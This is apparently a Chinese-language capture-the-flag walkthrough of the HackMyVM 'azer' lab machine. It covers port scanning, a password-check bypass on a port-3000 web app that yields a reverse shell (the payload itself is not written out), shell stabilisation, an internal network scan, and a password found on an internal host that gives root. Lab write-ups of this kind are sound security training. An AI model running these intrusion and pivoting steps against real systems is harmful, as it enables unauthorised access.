0.简介

靶机hackmyvm - azer
难度:绿色
目标 IP:192.168.205.235
本机 IP:192.168.205.141


1.扫描

使用 Nmap 进行初步端口扫描,以识别开放的服务和端口:

┌──(kali㉿kali)-[~/test]
└─$ nmap -sS -p- -Pn -n -T4 192.168.205.235
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-08 11:19 CST
Nmap scan report for 192.168.205.235
Host is up (0.00038s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
80/tcp   open  http
3000/tcp open  ppp
MAC Address: 08:00:27:07:E9:02 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.77 seconds
                                                           

结果显示两个开放端口:

80/tcp - HTTP 服务
3000/tcp - 原始显示为 PPP,但实际上是一个 web 应用程序,用于用户认证


2.踩点

80端口页没有发现明显利用点,踩点3000端口

image

image

image

在进一步探索中发现,3000 端口的应用程序似乎通过执行 .sh 脚本来进行密码验证。利用这一特性,成功绕过了密码验证,并建立了反弹 Shell

┌──(kali㉿kali)-[~/test]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.205.141] from (UNKNOWN) [192.168.205.235] 46566
bash: cannot set terminal process group (483): Inappropriate ioctl for device
bash: no job control in this shell
azer@azer:~$ id
id
uid=1000(azer) gid=1000(azer) groups=1000(azer),100(users)

3. 获得稳定的 Shell

获取反向 shell 后,通过以下命令获得稳定的交互式 TTY shell

script /dev/null -c bash  
ctrl+z  
stty raw -echo; fg  
reset xterm  
export TERM=xterm  
echo $SHELL  
export SHELL=/bin/bash  
stty rows 59 cols 236

4.提权

azer@azer:~$ hostname -I
192.168.205.235 10.10.10.1 172.17.0.1 

azer@azer:~$ ./fscan -h 10.10.10.1/24 -no -np -nopoc

   ___                              _  
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <  
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
10.10.10.1:80 open
10.10.10.10:80 open

-np 跳过存活检测
-no 不保存文件
-nopoc 跳过web poc扫描

通过扫描内部网络发现了另一个 IP 10.10.10.10 正在运行 HTTP 服务。

azer@azer:~$ nc 10.10.10.10 80
Hello
HTTP/1.1 400 Bad Request
Date: Wed, 08 Jan 2025 05:03:33 GMT
Server: Apache/2.4.58 (Unix)
Content-Length: 226
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
</body></html>
azer@azer:~$ curl 10.10.10.10
.:.AzerBulbul.:.

访问该服务时,得到了一个看起来像密码的字符串。

azer@azer:~$ su -
Password: 
root@azer:~# id
uid=0(root) gid=0(root) groups=0(root)

成功提权至 root